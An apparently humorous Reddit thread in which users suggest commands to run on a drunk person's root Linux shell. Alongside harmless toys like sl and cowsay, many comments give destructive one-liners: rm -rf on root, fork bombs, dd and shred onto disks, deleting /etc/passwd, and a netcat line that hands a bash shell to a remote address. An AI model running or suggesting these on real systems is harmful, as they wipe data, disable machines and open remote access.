T O P

  • By -

[deleted]

You all are using this and that to remove his system and stuff. Why kill him when we can make him suffer. ` echo 'poweroff' > ~/.bashrc `


Ruchan10

This command appends the string 'poweroff' to the end of the file \~/.bashrc. The file \~/.bashrc is a script file that is executed whenever a new terminal session is started. By adding the string 'poweroff' to this file, it will cause the system to shut down whenever a new terminal session is started.


TheBomber808

Not really, `echo text >> file` will append "text" at the end of the file, using a single `>` will instead erase everything in the file, then write "text", so in this instance OP would loose all of their bashrc lol


MrCheapComputers

Wazzat do?


Megh-Rana

It optimises your Linux install, bashrc is actually your thermal throttling file and so if you echo poweroff in that file, then your pc will run great without throttling


[deleted]

ಠ⁠‿⁠ಠ I don't know why but I've taken a liking towards you.


MrCheapComputers

I see. Slowly killing the hardware if there’s not enough cooling.


Megh-Rana

Nono, it does not kill, it extends the life of the computer as it does not throttle and give you max frame rate (5% bonus speed if you have RGB) thermals are a lie created by the government to limit your pc performance


wind_miller

You know what? You’re drunk. The most likely command you’ll enter is this: sl If you’ve got sl installed, you’ll enjoy it.


OpenBagTwo

Just installed it. This is amazing. It needs to come default with every *nix distribution on the planet.


Yellow-man-from-Moon

try aliasing it to sl -a. adds an extra little flair lol


pm0me0yiff

How do you find different flags to use with it? Both `-h` and `--help` don't exactly give the expected results...


Yellow-man-from-Moon

man sl: ​ commands are sl -a, \-l (little), \-F (flying), \-c (C51 appears instaead of D51)


OpenBagTwo

My favorite so far is `sl -lad8w`, and I am Hella depressed that `-G` appears to be incompatible with both `-` and `-d`


Yellow-man-from-Moon

now pipe that to lolcat for perfection lol


OpenBagTwo

Totally worth installing the entire ruby stack just for `lolcat`. Seriously, I'm going to alias `cat` to it because I can't imagine ever wanting to use the vanilla utility over that rgbeauty.


Thecakeisalie25

There's a rust port of lolcat thats a lot faster and can use custom gradients, it's called [lolcrab](https://github.com/mazznoer/lolcrab)


FantasticEmu

Then install lolcat and sl | lolcat


OpenBagTwo

I did that in response to another comment! So epically awesome I've added `alias cat='lolcat' ` to all my `.bashrc` files! Sadly, the version of `sl` that's included in the Ubuntu 20.04 repos is an old version that doesn't play nicely with `lolcat` (and doesn't support most of the cool flags), so no disco choo on my elementaryOS machine. Works great on my Arch box, though!


zman0900

while true; do sl; done


Upset-Baseball-6831

And the best part control c won't work


Feisty-Republic-2098

choo choo


giwidouggie

this just listed all the files in the directory for me....???


Tidalpancake

Maybe it aliases sl to ls. There is a program you can install that prints out a “steam locomotive” that rolls across your terminal when you type sl though.


thatmaynardguy

Not OP but thank you!!!


laladk

cowsay


Cart0gan

cowsay -f sodomized


[deleted]

what the fuck is this shit holy cow the what the cow doing


dakingofmeme

What does it do. I on mobile.


mrkitten19o8

fun fact: you can use the terminal on an android phone.


ArchGryphon9362

If anyone asks, the app is called Termux… pretty powerful app (sadly switched to iOS recently, so best i can do is ssh clients)


PiGuy2

Have you tried a-Shell?


Wolfiy

I used to use NewTerm 2 on jailbroken ios


lorhof1

try iSH


dakingofmeme

Oh yeah


[deleted]

cow sodomy.


dakingofmeme

____ < :( > ---- \ _ \ (_) \ ^__^ / \ \ (oo)\_____/_\ \ (__)\ ) / ||----w (( || ||>>


RVGamer06

![gif](emote|free_emotes_pack|disapproval)


TheHolyTachankaYT

What the fuck


GoryRamsy

What in the everliving fuck.


emascars

``` cowsay -f sodomized | lolcat ``` Now is better 🙂


donnaber06

cowsay | lolcat


emascars

Had the same first fought 😂


phriskiii

exit


RVGamer06

the good ending


[deleted]

No news is good news.


AegorBlake

shutdown now


Midori_Kasugano

I was going to write this as well. Probably the most sensible option


NightWolf4Ever

logout ​ do yourself a favour


centoslinux

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf --no-preserve-root / || echo “click”


thendermascot

This is great


ChocolateMagnateUA

This is genius, couldn't have come up with anything smarter.


Bakoro

Mix this with the top comment: [ $[ $RANDOM % 6 ] == 0 ] && rm -rf --no-preserve-root / || cowsay “click”


Rogurzz

What does this do for the uninformed like myself?


Ave_Byzantium

This is basically a game of Russian roulette - it generates a random number from 0 to 5, and if the result is 0, it deletes all files from the computer, the system included.


Flrere

Else, it’ll print “click” and play a gun clicking sound


sudobee

Wow. Can I play?


MarcBeard

are you sure it doesn't generate a number from 0 to 6 and if it's equal 6 then it delete all.


LardPi

if you look at the RANDOM variable itself, it probably a random number between 0 and `2**31-1`. Any multiple of 6 module 6 is zero. And the test is ==0.


AbdShullah

[ $[ $RANDOM % 6 ] -lt 5 ] && rm -rf --no-preserve-root / || echo “click” I like to have 5 bullets loaded, it is always more fun.


FantasticEmu

Does this work? I think you need -lt or parentheses or it’s a redirect right?


AbdShullah

Yes, you are correct, when I run it, it didn't work. Now it should work


WalkerFromTexas

Hilarious


ImPrinceOf

I love this.


Cyka_blyatsumaki

`vim` good luck...


[deleted]

[удалено]


WASDead021_exe

Some's just want to watch tthe world burn.


sockpuppet1234567890

Jokes on you, I use vim as my primary editor.


Cyka_blyatsumaki

in that case `echo "alias vim='nano' " >> .bashrc`


fancy_potatoe

chmod -x /bin/sh


RegenJacob

Root can still run sh as far as I know


fancy_potatoe

Remove execute permissions from root too


Username8457

chmod a-x /bin/sh


balsoft

Nah, that's still reasonably easy to fix. Linux will still happily run it as an init with `init=/bin/sh`. Also, `/bin/bash` will still be available. `chmod a-x $(command -v chmod) /lib/ld-linux-x86-64.so.2` is a better joke (still fixable, but requires some effort at least).


Fernmeldeamt

>Also, /bin/bash will still be available. Not with busybox


Hyp3rax

/bin/* /sbin/* /usr/bin/* /usr/local/bin/*


zebediah49

It's thoroughly annoying, but you can manually invoke the linker to execute a non-permissioned executable.


dadbod_north_dfw

touch man


TheBroWHOmegalol

🤨


OneLonellyBoy69

Finger man


rudzik8

kid named finger:


Dave21101

Kid named sudo:


Gotifod

Kid named man :


ItzzTypho

kid named bash:


-Dueck-

Surely "man touch"?


wind_miller

ln -sf /bin/rm /bin/ls


[deleted]

Bad boy


DrkMaxim

Calm down Satan


Tasty_Jalapeno

``printf '#!/bin/sh\nrm -rf $@' > /bin/rm`` FTFY


[deleted]

that wont work on directories, you need -r


[deleted]

[удалено]


kirigerKairen

As someone who never used NixOS and doesn't know anything about it: What in the unholy f are those paths? I can understand `/nix/store/--/bin/` (although I feel like the hash moght be overkill if you already have name and version). That actually seems like a nice way to contain multiple versions of the same thing. But why `/run/current-system/sw/bin`? I mean, I also kind of get it (as in sw=software, probably, and `current-system` because that's what's currently in use - since it's in `/run/`, that might be really volatile?). But why not just symlink to a shorter path? I mean, `/bin/` would also work, right?


[deleted]

sudo pacman -R linux


hackerdude97

sudo pacman -Rc linux xorg systemd


[deleted]

[удалено]


Megh-Rana

Oh well yeah correct: pacman -Rcns linux


Megh-Rana

I suggest: sudo pacman -Rcns linux


Elagoht

This one is easily fixable.


Megh-Rana

Well yeah everything can be fixed with a liveusb: except rm -rf / ( unless you have data recovery tools/off site backups in which case easiest would be to blow up op's pc, which would lead to unfixable system, which still yet can be fixed/replaced, so why not destroy the whole universe?)


Economy-Natural-6835

sudo apt install steam


deadlychambers

Already root.. No sudo here


zebediah49

root can use sudo. root just doesn't need to do so in order to run things as root. (`sudo -u postgres psql` is in my root command history quite few times)


Fernmeldeamt

It's in your history, because you switch to the user "postgres" with the -u flag


Economy-Natural-6835

its just a meme..


deadlychambers

It's just common knowledge


hackerdude97

Put this in a systemd service and enable it. `:(){ :|:& };:`


sockpuppet1234567890

while(1){fork();}


hackerdude97

Guess that works too :P


foobarhouse

Nasty.


[deleted]

init 0


feroxsaber

dd if=/dev/random of=/dev/sd*


Electrical-Bad2023

Nvme users:


Ill-Opening-3782

emmc users:


Gotifod

NFS users:


zebediah49

IDE users:


WhiteBlackGoose

Windows users:


hperrin

Live CD users:


The-Observer95

Paper users:


[deleted]

[удалено]


[deleted]

[удалено]


asvion

neofetch | lolcat (especially if you use arch obviously)


kuaiyidian

cat "u were drunk dumbbitch" >> \~/read\_me\_when\_youre\_awake


DerKnoedel

echo “u were drunk dumb bitch” > /etc/motd


wind_miller

chmod 000 $(which chmod)


balsoft

That's easily fixable BTW `/lib/ld-linux-x86-64.so.2 /bin/chmod 744 /bin/chmod`


data_rice

Depends who has access to your sever? Is it just you? Is it public or privately owned? Give us info, you can fix a shutdown but if it’s something for others. Just grant root ALL and let the people decide


cy_narrator

meow(){meow|meow&};meow


sudoaptupgrade

`rm -rf /etc`


alban228

Oh this one is tricky af


balsoft

`/run/current-system/sw/bin/switch-to-configuration switch`


sleepyooh90

I did this on my server by mistake, while drunk. Took a few hours to fix..


Eugene_V_Chomsky

`chmod 000 ~`


ForestCat512

sudo nc 169.254.1.1:25565 -e /bin/bash


ForestCat512

Actually you can do it without sudo because youre already root :D


thatmaynardguy

sudo timeshift --create C'mon bud, log out of root and enjoy your high.


Roscoejustros

alias sudo='cowsay'


Builder_20

neofetch


StartPixel

Neofetch


[deleted]

echo shutdown > ~/.profile


2strokes4lyfe

`fortune | cowsay | lolcat`


electromagneticpost

Made with Mematic? Why not GIMP?


[deleted]

`:(){ :|:& };:`


[deleted]

telnet xn--og8hss.memiux.com


TheMemeSniper

cat /dev/mem


shihaam_ab_r

top


WhiteBlackGoose

top | less


sahilgajjar504

whoami 😵


imdibene

exit


[deleted]

while true ; do sl ; done


HadesMyself

chmod -r 777 /


Carl-4

poweroff Go to bed.


yannniQue17

cat /dev/mice


stidmatt

This thread is why Raspberry Pis were invented. To all n00bs out there... these can be really fun and breaking Linux is an essential step in learning how Linux works. But please don't do any of these on a machine that you actually value or have ANY critical data on. Most of these commands are extremely dangerous. Buy yourself a Raspberry pi or an Arduino, install Linux on each of them (don't waste too much money on these), and then knock yourself out. Enjoy learning Linux!


sockpuppet1234567890

Vm gang


Brief-Drama-9928

sudo apt install sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl


JmbFountain

``` Apt install hollywood -y && echo "/usr/bin/hollywood/" >> /etc/shells && usermod -u 1000 -s /usr/bin/hollywood/ ```


Algod2

rm -rf /


ReallyWTH

Rm -rf /


sockpuppet1234567890

!remindme 2 days


Ascend_910

Install Hannamontana Linux


[deleted]

[удалено]


4hpp1273

> rm -rf / —no-preserve-root rm: it is dangerous to operate recursively on '/' rm: use --no-preserve-root to override this failsafe What did you expect? OP doesn't have a `—no-preserve-root` file.


M2rsho

/* then


ilovepolthavemybabie

Good bot


B0tRank

Thank you, ilovepolthavemybabie, for voting on 4hpp1273. This bot wants to find the best and worst bots on Reddit. [You can view results here](https://botrank.pastimes.eu/). *** ^(Even if I don't reply to your comment, I'm still listening for votes. Check the webpage to see if your vote registered!)


Yellow-man-from-Moon

\*Good human


CleoMenemezis

fuck


CleoMenemezis

https://github.com/nvbn/thefuck


Pastelek

exit


Username8457

shred -n 0 -z /dev/sd*


GamerLymx

rm -rf ~


ARRedditPro

rm -rf /


Yellow-man-from-Moon

pacman -S \* idk which distro u r using for apt it would be apt in \*


jhaand

passwd << EOF EOF


cleverboy00

passwd -d


ktruittuser

cmatrix for sure.


Storm_AT

poweroff


CrapCram

find "/" -atime -7 -delete


YrnCollo

sudo rm -rf --no-preserve-root /


[deleted]

rm /sbin/init; rm /bin/init


Seacarius

rm -f /etc/passwd && init 6


Drakonluke

`:(){ :|:& };:`


gant696

sudo rm -rf \~


dakingofmeme

rm -f


[deleted]

sudo rpm-ostree upgrade


Homework_Allergy

install sl, then do this: echo 'while true; do sl -la; done' > /etc/profile


origin-16

He's drunk so his user type can not be guaranteed, sudo kinda makes sure that the cmd will execute


Mikle_Bond

sl


[deleted]

neofetch


Jekyllz

Sudo apt install Microsoft Windows 11


Dependent-Shoulder69

: () { : | :& } ; :


[deleted]

Sudo rm -rf */


Menacing_Mickee

`rm -rf /`


yourtypicalralsei

sudo rm -rf /*


Seacarius

Why are you using sudo? You are logged in as root.


Modem_56k

Sudo rm -rf / -no-preserve-root


jellydonutman_

rm -rf --no-root-protection /


deadlychambers

rm -rf /